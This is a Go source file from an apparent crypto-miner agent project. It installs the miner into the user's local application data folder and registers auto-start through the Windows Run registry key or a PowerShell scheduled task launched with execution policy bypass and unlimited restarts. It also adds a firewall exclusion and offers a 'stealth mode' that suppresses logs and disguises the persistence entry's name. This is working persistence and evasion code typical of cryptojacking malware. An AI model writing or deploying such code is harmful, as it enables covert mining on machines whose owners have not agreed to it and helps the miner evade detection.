package deploy import ( "fmt" "io" "os" "os/exec" "path/filepath" "strings" "crypto-miner-agent/config" "golang.org/x/sys/windows/registry" ) const runFlag = "--run" // InstallIfNeeded copies the installer to a permanent location, registers auto-start, // and relaunches the miner from there. Returns true when the current process should exit. func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { currentExe, err := CurrentExecutable() if err != nil { return false, err } for _, arg := range os.Args[1:] { if arg == runFlag { return false, nil } } installDir, err := resolveInstallDirWithFallback(cfg) if err != nil { return false, err } installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe") if samePath(currentExe, installedExe) { return false, nil } if err := os.MkdirAll(installDir, 0755); err != nil { return false, fmt.Errorf("create install dir: %w", err) } if err := copyFile(currentExe, installedExe); err != nil { return false, fmt.Errorf("copy miner: %w", err) } _ = saveBackup(installedExe) agentID, err := EnsureAgentID(installDir) if err != nil { return false, fmt.Errorf("agent id: %w", err) } logPath := filepath.Join(installDir, "miner.log") if !cfg.FileLogging || cfg.StealthMode { logPath = "" } if !cfg.StealthMode { _ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf( "worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n", cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe, )), 0644) } if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" { if err := configureAutoStart(cfg, installedExe); err != nil { return false, fmt.Errorf("auto-start: %w", err) } } if err := configureRunMode(cfg, installedExe); err != nil { return false, err } EnsureFirewallExclusion(cfg, installedExe) if err := relaunch(installedExe, logPath); err != nil { return false, fmt.Errorf("start installed miner: %w", err) } return true, nil } func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) { dir, err := cfg.InstallDirectory() if err == nil { return dir, nil } fallbacks := []string{"localappdata", "appdata", "temp"} seen := map[string]bool{strings.ToLower(cfg.InstallBase): true} for _, base := range fallbacks { if seen[base] { continue } seen[base] = true try := cfg try.InstallBase = base dir, tryErr := try.InstallDirectory() if tryErr == nil { return dir, nil } } return "", err } func InstallDir(workerName, buildID string) (string, error) { return config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ WorkerName: workerName, BuildID: buildID, InstallBase: "localappdata", InstallRelativePath: config.DefaultInstallRelativePath, }, }.InstallDirectory() } func configureAutoStart(cfg config.RuntimeConfig, exePath string) error { k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) if err != nil { return err } defer k.Close() return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag)) } func configureRunMode(cfg config.RuntimeConfig, installedExe string) error { switch cfg.RunAs { case "scheduled", "service": return createScheduledTask(cfg, installedExe) default: return nil } } func createScheduledTask(cfg config.RuntimeConfig, exePath string) error { taskName := PersistenceKeyName(cfg) if taskName == "" { taskName = "CryptoMinerAgent" } script := fmt.Sprintf( `$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, strings.ReplaceAll(exePath, `'`, `''`), runFlag, strings.ReplaceAll(taskName, `'`, `''`), ) cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) return cmd.Run() } func PersistenceKeyName(cfg config.RuntimeConfig) string { if cfg.StealthMode { return cfg.EffectiveProcessName() } name := sanitizeName(cfg.WorkerName) if name == "" { return cfg.EffectiveProcessName() } return "CryptoMiner-" + name } func relaunch(exePath, logPath string) error { cmd := exec.Command(exePath, runFlag) cmd.Dir = filepath.Dir(exePath) if logPath != "" { cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath) } return cmd.Start() } func sanitizeName(name string) string { replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "") return replacer.Replace(strings.TrimSpace(name)) } func samePath(a, b string) bool { a = filepath.Clean(a) b = filepath.Clean(b) if strings.EqualFold(a, b) { return true } aAbs, errA := filepath.Abs(a) bAbs, errB := filepath.Abs(b) if errA != nil || errB != nil { return false } return strings.EqualFold(aAbs, bAbs) } func copyFile(src, dest string) error { in, err := os.Open(src) if err != nil { return err } defer in.Close() out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755) if err != nil { return err } defer out.Close() _, err = io.Copy(out, in) return err }